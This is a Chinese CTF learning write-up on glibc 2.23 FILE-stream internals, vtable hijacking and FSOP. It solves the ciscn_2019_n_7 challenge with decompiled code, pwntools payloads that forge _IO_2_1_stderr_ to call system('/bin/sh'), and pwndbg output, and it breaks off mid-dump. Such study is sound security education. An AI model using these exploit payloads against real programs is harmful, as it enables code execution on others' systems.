[原创]Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange
2022-10-3 00:36:7 Author: bbs.pediy.com(查看原文) 阅读量:24 收藏

在线看glibc源码:https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/

如果没有特别说明,下面涉及的源码和例子均是基于2.23版本。

1.1 结构体

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

typedef struct _IO_FILE FILE;

// IO_FILE结构体

struct _IO_FILE {

  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */

  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */

  char* _IO_read_ptr;    /* Current read pointer */

  char* _IO_read_end;    /* End of get area. */

  char* _IO_read_base;    /* Start of putback+get area. */

  char* _IO_write_base;    /* Start of put area. */

  char* _IO_write_ptr;    /* Current put pointer. */

  char* _IO_write_end;    /* End of put area. */

  char* _IO_buf_base;    /* Start of reserve area. */

  char* _IO_buf_end;    /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */

  char *_IO_save_base; /* Pointer to start of non-current get area. */

  char *_IO_backup_base;  /* Pointer to first valid character of backup area */

  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;

  int _blksize;

  int _flags2;

  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */

  unsigned short _cur_column;

  signed char _vtable_offset;

  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;

};

// IO_FILE_complete结构体,在_IO_FILE后面加了一些字段

struct _IO_FILE_complete

{

  struct _IO_FILE _file;

  _IO_off64_t _offset;

  /* Wide character stream stuff.  */

  struct _IO_codecvt *_codecvt;

  struct _IO_wide_data *_wide_data;

  struct _IO_FILE *_freeres_list;

  void *_freeres_buf;

  void *__pad1;

  void *__pad2;

  void *__pad3;

  void *__pad4;

  size_t __pad5;

  int _mode;

  /* Make sure we don't get into trouble again.  */

  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];

};

// stdin、stdout……

extern struct _IO_FILE_plus _IO_2_1_stdin_;

FILE *stdin = (FILE *) &_IO_2_1_stdin_; // 虽然stdin的类型是 FILE *,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus

FILE *stdout = (FILE *) &_IO_2_1_stdout_;

//...

// _IO_FILE_plus结构体

struct _IO_FILE_plus

{

  FILE file;

  const struct _IO_jump_t *vtable;

};

// _IO_jump_t结构体(虚函数表)

// 路径:/libio/libioP.h

struct _IO_jump_t

{

    JUMP_FIELD(size_t, __dummy);

    JUMP_FIELD(size_t, __dummy2);

    JUMP_FIELD(_IO_finish_t, __finish);

    JUMP_FIELD(_IO_overflow_t, __overflow);

    JUMP_FIELD(_IO_underflow_t, __underflow);

    JUMP_FIELD(_IO_underflow_t, __uflow);

    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);

    /* showmany */

    JUMP_FIELD(_IO_xsputn_t, __xsputn);

    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);

    JUMP_FIELD(_IO_seekoff_t, __seekoff);

    JUMP_FIELD(_IO_seekpos_t, __seekpos);

    JUMP_FIELD(_IO_setbuf_t, __setbuf);

    JUMP_FIELD(_IO_sync_t, __sync);

    JUMP_FIELD(_IO_doallocate_t, __doallocate);

    JUMP_FIELD(_IO_read_t, __read);

    JUMP_FIELD(_IO_write_t, __write);

    JUMP_FIELD(_IO_seek_t, __seek);

    JUMP_FIELD(_IO_close_t, __close);

    JUMP_FIELD(_IO_stat_t, __stat);

    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);

    JUMP_FIELD(_IO_imbue_t, __imbue);

    get_column;

    set_column;

};

// JUMP_FIELD宏

/** 以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看

TYPE

_IO_xsgetn_t

typedef _IO_size_t (*_IO_xsgetn_t) (_IO_FILE *FP, void *DATA, _IO_size_t N); // 定义了一个函数指针

:NAME

__xsgetn

因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)

<==>  _IO_xsgetn_t __xsgetn // 即给函数指针取别名 __xsgetn

**/

1.2 关键函数分析

强烈推荐阅读下面几篇文章:

IO_FILE 相关几个关键函数的分析可见上面列出的文章。我在此做一点可能是对做题无关紧要的补充及疑问:

  • 前面分析了JUMP_FIELD,知道结构体_IO_jump_t中都是函数指针,但是这些函数指针在哪里被赋值去和它们对应的函数实现绑定的?是在做什么初始化的时候?

  • 在分析fread函数的时候,走到 fread -> _IO_sgetn -> _IO_XSGETN的时候,应该是因为这对做题可能关系不大,我看文章都没有分析宏 _IO_XSGETN

    • 在gdb中调试的时候, _IO_sgetn -> _IO_XSGETN这一步仅三行汇编,而后跳转到_IO_file_xsgetn,但是对应的汇编却显示函数名是__GI__IO_file_xsgetn,我在后面静态分析代码的时候没有发现这是为什么,希望有知道的大佬告诉本菜鸡。
  • gdb调试走到调用宏_IO_XSGETN的地方:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

   0x7ffff7a88710 <_IO_sgetn>                  mov    rax, qword ptr [rdi + 0xd8]

   0x7ffff7a88717 <_IO_sgetn+7>                mov    rax, qword ptr [rax + 0x40]

   0x7ffff7a8871b <_IO_sgetn+11>               jmp    rax

    

 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>       push   r14

   0x7ffff7a85ed2 <__GI__IO_file_xsgetn+2>     push   r13

   0x7ffff7a85ed4 <__GI__IO_file_xsgetn+4>     mov    r14, rsi

   0x7ffff7a85ed7 <__GI__IO_file_xsgetn+7>     push   r12

   0x7ffff7a85ed9 <__GI__IO_file_xsgetn+9>     push   rbp

   0x7ffff7a85eda <__GI__IO_file_xsgetn+10>    mov    r13, rdx

   0x7ffff7a85edd <__GI__IO_file_xsgetn+13>    push   rbx

   0x7ffff7a85ede <__GI__IO_file_xsgetn+14>    cmp    qword ptr [rdi + 0x38], 0

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────

In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio/fileops.c

   1355 }

   1356 libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

   1357

   1358 _IO_size_t

   1359 _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)

 1360 {

   1361   _IO_size_t want, have;

   1362   _IO_ssize_t count;

   1363   char *s = data;

   1364

   1365   want = n;

  • 静态分析_IO_XSGETN

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

/**

   _IO_sgetn函数

    fread -> _IO_sgetn -> _IO_XSGETN

    路径:/libio/genops.c

**/ 

_IO_size_t

_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)

{

  /* FIXME handle putback buffer here! */

  return _IO_XSGETN (fp, data, n);  ////////// call _IO_XSGETN

}

libc_hidden_def (_IO_sgetn)

/**

    宏 _IO_XSGETN

    路径:/libio/libioP.h

**/

/**

    宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数

    JUMP2 = (_IO_JUMPS_FUNC(THIS)->FUNC)

    路径:/libio/libioP.h

**/

/**

    宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址

    路径:/libio/libioP.h

    分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable

          然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体

          最后返回:_IO_FILE_plus 结构体地址 + vtable的偏移

**/

 (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \

               + (THIS)->_vtable_offset))

/**

    宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址

    路径:/libio/libioP.h

**/

  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) // 这里可以明确是 _IO_FILE_plus 结构体

/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing

   violation in case THIS has a different pointer type.

   路径:/libio/libioP.h

   */

  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \

                       + offsetof(TYPE, MEMBER)))

/* Type of MEMBER in struct type TYPE.

 路径:/libio/libioP.h

 typeof关键字:https://blog.csdn.net/u012066426/article/details/50788984?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1

 */

/**

综上,不断展开宏 _IO_XSGETN 看一下:

     _IO_XSGETN(FP, DATA, N)

<==> JUMP2 (__xsgetn, FP, DATA, N)

<==> (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N)

      // 可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针

<==> ( (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (FP)  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)

     // 下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体

<==> ( (*(struct _IO_jump_t **) ((void *) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)

<==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)

<==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)

**/

最后,总结一下上面提到的《IO FILE之fxxxx详解》四篇文章:

IO FILE结构体包括两个堆结构,一个是保存IO FILE结构体的堆,一个是输入输出缓冲区的堆。

  • fopen调用链

1

2

3

4

5

6

7

8

9

10

11

12

// 函数原型:

FILE *fopen(const char *filename, const char *mode);

// 调用链:

fopen(_IO_new_fopen)

-> __fopen_internal

    -> malloc // 分配内存空间

    -> _IO_no_init // FILE 结构体进行null初始化。

    -> _IO_file_init // FILE结构体链接进入_IO_list_all链表

    -> _IO_file_fopen // 执行系统调用open打开文件,并将文件描述符赋值给FILE结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。

// 未调用vtable中的函数

  • fread调用链

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

// 函数原型:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

// 调用链:

fread(_IO_fread)

-> _IO_sgetn (_IO_XSGETN(宏))

    -> _IO_file_xsgetn(__GI__IO_file_xsgetn)  // fread读入数据的核心函数

        -> _IO_doallocbuf  -> _IO_file_doallocate // 初始化FILE结构体中的指针,建立输入缓冲区

        -> __underflow   -> _IO_file_underflow // 调用系统调用读入数据

// _IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:

// 第一部分是fp->_IO_buf_base为空的情况,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。

// 第二部分是输入缓冲区里有输入,即fp->_IO_read_ptr小于fp->_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。

// 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。

// 调用vtable中的函数:

// 1、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。

// 2、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。

// 3、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。

// 4、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。

// 5、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

  • fwrite调用链:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

//函数原型:

size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)

// 调用链:

fwrite(_IO_fwrite)

-> _IO_sputn (_IO_XSPUTN)

  -> _IO_new_file_xsputn

      // 1、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。

      // 2、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。

      -> _IO_OVERFLOW 

          -> __overflow(_IO_new_file_overflow)

              -> // 2.1 判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回

              -> _IO_doallocbuf -> _IO_file_doallocate// 2.2.1 判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配

              ->  _IO_setg // 2.2.2 2.2,如果为空,分配输出缓冲区后,设置read相关的三个指针

              -> // 2.3 初始化其他指针,最主要的是write相关的三个指针

              -> _IO_do_write(_IO_new_do_write) // 2.4 调用系统调用write输出输出缓冲区,输出的内容为f->_IO_write_ptr到f->_IO_write_base之间的内容

                  -> _IO_SYSWRITE -> __write(_IO_new_file_write)

                                 -> write

      // 3、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。

      // 4、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。

      -> _IO_default_xsputn

// 调用vtable中的函数

// 1、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。

// 2、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。

// 3、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。

// 4、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。

// 5、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。

  • fclose调用链:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

// 函数原型:

int fclose(FILE *stream)

// 调用链:

fclose(_IO_new_fclose)

-> _IO_un_link // FILE结构体从_IO_list_all链表中取下

-> _IO_file_close_it // 关闭文件并释放缓冲区

    -> _IO_file_is_open  // _IO_file_is_open宏检查该文件是否处于打开的状态

    -> _IO_do_flush // _IO_do_flush 刷新此时的输出缓冲区

        -> _IO_do_write // 调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。

    -> _IO_SYSCLOSE

        -> __close

    -> _IO_setb // 设置结构体的buf指针,并释放缓冲区

    -> _IO_setg // 设置read相关的指针

    -> _IO_setp // 设置write相关的指针

    -> _IO_un_link // 确保FILE结构体已从_IO_list_all中取下

-> _IO_FINISH // 进行最后的确认,确认FILE结构体从链表中删除以及缓冲区被释放

  -> __finish

-> free // free释放IO_FILE结构体内存

// 调用vtable中的函数:

// 1、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。

// 2、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。

// 3、_IO_FINISH函数为vtable中的__finish函数。

1.3 文件链表

通过_IO_FILE *_chain实现链表结构,头部是全局变量_IO_list_all

2.1 虚函数表vtable劫持

如果能够控制_IO_FILE_plus结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流

劫持最关键的点在于修改IO FILE结构体的vtable指针,指向可控内存。一般来说有两种方式:一种是只修改内存中已有FILE结构体的vtable字段;另一种则是伪造整个FILE结构体。当然,两种的本质最终都是修改了vtable字段

  • 攻击条件
    • 有可控内存(视情况而定) -> 伪造FILE结构体
    • 任意地址写 -> 修改vtable指针

例子可参考:

2.2 FSOP

FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

  • _IO_flush_all_lockp 被系统调用的时机

    • 当 libc 执行 abort 流程时

    • 当执行 exit 函数时

    • 当执行流从 main 函数返回时

  • _IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:

    • fp->_mode <= 0
    • fp->_IO_write_ptr > fp->_IO_write_base

1

2

3

4

5

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))

               && _IO_OVERFLOW (fp, EOF) == EOF)

           {

               result = EOF;

          }

  • FSOP攻击条件
    • 能泄露出libc的基址 -> 泄露出_IO_list_all的地址
    • 有可控内存 -> 伪造_IO_FILEvtable
    • 任意地址写 -> 将_IO_list_all的内容改为指向可控内存的指针

ctf-wiki-FSOP

2.2.1 ctf实例 - ciscn_2019_n_7

1

2

3

4

5

6

7

8

9

10

ciscn_2019_n_7  log.txt

[email protected]:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ./ciscn_2019_n_7

1.add page

2.edit page

3.show page

4.exit

Your choice->

Alarm clock

ida分析

  • main

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

__int64 __fastcall main(__int64 a1, char **a2, char **a3)

{

  int v3; // eax

  __int64 v4; // rdx

  __int64 v5; // rcx

  bool v6; // zf

  bool v7; // sf

  unsigned __int8 v8; // of

  sub_CA0();

LABEL_2:

  while ( 2 )

  {

    while ( 1 )

    {

      v3 = sub_D80(a1, a2);

      v8 = __OFSUB__(v3, 3);

      v6 = v3 == 3;

      v7 = v3 - 3 < 0;

      if ( v3 != 3 )

        break;

LABEL_7:

      show();                                                                        // 3 - show

    }

    while ( (unsigned __int8)(v7 ^ v8) | v6 )

    {

      if ( v3 == 1 )                            // 1 - add

      {

        add();

        goto LABEL_2;

      }

      if ( v3 != 2 )

        goto LABEL_11;

      edit();                                                                        // 2 - edit

      v3 = sub_D80(a1, a2);

      v8 = __OFSUB__(v3, 3);

      v6 = v3 == 3;

      v7 = v3 - 3 < 0;

      if ( v3 == 3 )

        goto LABEL_7;

    }

    if ( v3 == 4 )

      exit_();                                                                // 4 - exit_

    if ( v3 == 666 )

    {

      sub_C50(a1, (__int64)a2, v4, v5);       // 666 - 打印puts函数地址

      continue;

    }

    break;

  }

LABEL_11:

  puts("NO, Please continue! ");

  return 0LL;

}

  • main开头的sub_CA0

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

unsigned int sub_CA0()

{

  FILE *v0; // rbx

  char v1; // al

  unsigned int result; // eax

  unsigned __int64 v3; // rt1

  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);

  v0 = fopen("log.txt", "r");

  while ( 1 )

  {

    v1 = fgetc(v0);

    if ( v1 == -1 )

      break;

    IO_putc(v1, stdout);

  }

  fclose(v0);

  setvbuf(stdout, 0LL, 2, 0LL);

  setvbuf(stdin, 0LL, 1, 0LL);

  setvbuf(stderr, 0LL, 1, 0LL);

  global = malloc(0x18uLL);    // malloc了一个chunk给全局变量

  v3 = __readfsqword(0x28u);

  result = v3 ^ v4;

  if ( v3 == v4 )

    result = alarm(0x3Cu);

  return result;

}

  • add - 溢出

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

unsigned __int64 add()

{

  int len_; // eax

  _QWORD *v1; // r12

  __int64 len; // [rsp+0h] [rbp-28h]

  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);

  if ( unk_202014 )

  {

    puts(aExists);

  }

  else

  {

    puts("Input string Length: ");

    read(0, &len, 8uLL);

    len_ = strtol((const char *)&len, 0LL, 10);

    if ( (unsigned __int64)len_ > 0x100 )

    {

      puts("Large!");

    }

    else

    {

      v1 = global;

      *global = len_;

      v1[2] = malloc(len_);

      unk_202014 = 1;

      puts("Author name:");

      read(0, global + 1, 0x10uLL);             // 输入0x10长度的author name,可以覆盖article指针

      puts("Now,you can edit your article.");

    }

  }

  return __readfsqword(0x28u) ^ v4;

}

  • edit - 在add溢出后可任意地址写

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

int edit()

{

  int result; // eax

  unsigned __int64 v1; // rt1

  unsigned __int64 v2; // rt1

  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);

  if ( unk_202014 )

  {

    puts(aNew);

    read(0, global + 1, 0x10uLL);               // 同add一样,可溢出修改article指针

    puts("New contents:");

    read(0, (void *)global[2], *global);        // 从这可以看出文章内容存在global[2],若溢出,则可任意地址写

    v1 = __readfsqword(0x28u);

    result = v1 ^ v3;

    if ( v1 == v3 )

      result = puts("Over.");

  }

  else

  {

    v2 = __readfsqword(0x28u);

    result = v2 ^ v3;

    if ( v2 == v3 )

      result = puts("Dont't exists.");

  }

  return result;

}

  • show

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

int show()

{

  int result; // eax

  unsigned __int64 v1; // rt1

  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);

  if ( unk_202014 )

  {

    result = (signed int)global;

    if ( __readfsqword(0x28u) == v2 )

      result = _printf_chk(1LL, "%s\nAuthor:%s\n", global[2], global + 1);

  }

  else

  {

    v1 = __readfsqword(0x28u);

    result = v1 ^ v2;

    if ( v1 == v2 )

      result = puts("Dont't exists.");

  }

  return result;

}

  • exit_

1

2

3

4

5

6

void __noreturn exit_()

{

  close(1);

  close(2);

  exit(0);

}

1

2

3

4

int close(int fd)

{

  return close(fd);

}

  • 如果输入666,sub_C50打印puts函数的地址

1

2

3

4

5

6

__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)

{

  __readfsqword(0x28u);

  __readfsqword(0x28u);

  return _printf_chk(1LL, &unk_10D4, &puts, a4);

}

  • fsop攻击思路

    • exit_ 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp ;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0,也会调用_IO_flush_all_lockp(我用后一种思路成功了,前一种未找到原因,就是不成功)。

    • 修改article指针到 _IO_2_1_stderr_ ,布置绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp 为 system 。

    • 写入 _IO_2_1_stderr_ 时将/bin/sh 写到 _IO_FILE 的头部,调用虚函数时 _IO_FILE 是第一个参数。

    因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入 _IO_FILE_plus 头部。

    调试查看结构体:

    1

    p *((struct [结构体类型]*) [地址])

调试分析

step1:泄露地址

1

2

3

4

5

6

7

8

9

10

11

12

13

14

command(666)

puts_addr = int(r(14),16)

leak("puts_addr",puts_addr)

libc_base = puts_addr-libc.sym['puts']

leak("libc_base",libc_base)

IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base

leak("IO_2_1_stderr", IO_2_1_stderr)

system=libc_base+libc.sym['system']

leak("system", system)

dbg()

step2:通过add覆盖article指针

1

2

3

4

payload = 'a'*8 + p64(IO_2_1_stderr)

add(0xf8,payload)

dbg()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

pwndbg> heap

Allocated chunk | PREV_INUSE

Addr: 0x5646d0338000

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x5646d0338020

Size: 0x101

Top chunk | PREV_INUSE

Addr: 0x5646d0338120

Size: 0x20ee1

pwndbg> x/8gx 0x5646d0338000

0x5646d0338000:    0x0000000000000000    0x0000000000000021

0x5646d0338010:    0x00000000000000f8    0x6161616161616161

0x5646d0338020:    0x00007f09704ab540    0x0000000000000101   article指针已经被覆盖为指向_IO_2_1_stderr_

0x5646d0338030:    0x0000000000000000    0x0000000000000000

pwndbg> x/gx 0x00007f09704ab540

0x7f09704ab540 <_IO_2_1_stderr_>:    0x00000000fbad2284

step3:通过edit修改_IO_2_1_stderr_的内容

1

2

3

4

5

6

7

8

9

10

11

12

13

payload = '/bin/sh\x00'+p64(0)*3 + p64(0) + p64(1)

payload += p64(0)*4 + p64(system)*4 

payload = payload.ljust(0xd8, '\x00')

payload += p64(IO_2_1_stderr+0x40)

edit('a\n', payload)

dbg()

  • 修改前

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

pwndbg> p _IO_2_1_stderr_

$1 = {

  file = {

    _flags = -72539516,

    _IO_read_ptr = 0x0,

    _IO_read_end = 0x0,

    _IO_read_base = 0x0,

    _IO_write_base = 0x0,

    _IO_write_ptr = 0x0,

    _IO_write_end = 0x0,

    _IO_buf_base = 0x0,

    _IO_buf_end = 0x0,

    _IO_save_base = 0x0,

    _IO_backup_base = 0x0,

    _IO_save_end = 0x0,

    _markers = 0x0,

    _chain = 0x7efe8674e620 <_IO_2_1_stdout_>,

    _fileno = 2,

    _flags2 = 0,

    _old_offset = -1,

    _cur_column = 0,

    _vtable_offset = 0 '\000',

    _shortbuf = "",

    _lock = 0x7efe8674f770 <_IO_stdfile_2_lock>,

    _offset = -1,

    _codecvt = 0x0,

    _wide_data = 0x7efe8674d660 <_IO_wide_data_2>,

    _freeres_list = 0x0,

    _freeres_buf = 0x0,

    __pad5 = 0,

    _mode = 0,

    _unused2 = '\000' <repeats 19 times>

  },

  vtable = 0x7efe8674c6e0 <_IO_file_jumps>

}

  • 修改后

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

pwndbg> p _IO_2_1_stderr_

$1 = {

  file = {

    _flags = 1852400175

    _IO_read_ptr = 0x0,

    _IO_read_end = 0x0,

    _IO_read_base = 0x0

    _IO_write_base = 0x0

    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 

    _IO_write_end = 0x0,

    _IO_buf_base = 0x0,

    _IO_buf_end = 0x0,    

    _IO_save_base = 0x0,

    _IO_backup_base = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D"

    _IO_save_end = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",    

    _markers = 0x7efe863ce3a0 <__libc_system>,                                                                                                        

    _chain = 0x7efe863ce3a0 <__libc_system>,                                                                                                                

    _fileno = 0,

    _flags2 = 0,

    _old_offset = 0,

    _cur_column = 0,

    _vtable_offset = 0 '\000',

    _shortbuf = "",

    _lock = 0x0,

    _offset = 0,

    _codecvt = 0x0,

    _wide_data = 0x0,

    _freeres_list = 0x0,

    _freeres_buf = 0x0,

    __pad5 = 0,

    _mode = 0,

    _unused2 = '\000' <repeats 19 times>

  },

  vtable = 0x7efe8674e580 <_IO_2_1_stderr_+64>           

}

pwndbg> p _IO_file_jumps

$2 = {

  __dummy = 0,

  __dummy2 = 0,

  __finish = 0x7efe864029d0 <_IO_new_file_finish>,

  __overflow = 0x7efe86403740 <_IO_new_file_overflow>, 

  __underflow = 0x7efe864034b0 <_IO_new_file_underflow>,

  __uflow = 0x7efe86404610 <__GI__IO_default_uflow>,

  __pbackfail = 0x7efe86405990 <__GI__IO_default_pbackfail>,

  __xsputn = 0x7efe864021f0 <_IO_new_file_xsputn>,

  __xsgetn = 0x7efe86401ed0 <__GI__IO_file_xsgetn>,

  __seekoff = 0x7efe864014d0 <_IO_new_file_seekoff>,

  __seekpos = 0x7efe86404a10 <_IO_default_seekpos>,

  __setbuf = 0x7efe86401440 <_IO_new_file_setbuf>,

  __sync = 0x7efe86401380 <_IO_new_file_sync>,

  __doallocate = 0x7efe863f6190 <__GI__IO_file_doallocate>,

  __read = 0x7efe864021b0 <__GI__IO_file_read>,

  __write = 0x7efe86401b80 <_IO_new_file_write>,

  __seek = 0x7efe86401980 <__GI__IO_file_seek>,

  __close = 0x7efe86401350 <__GI__IO_file_close>,

  __stat = 0x7efe86401b70 <__GI__IO_file_stat>,

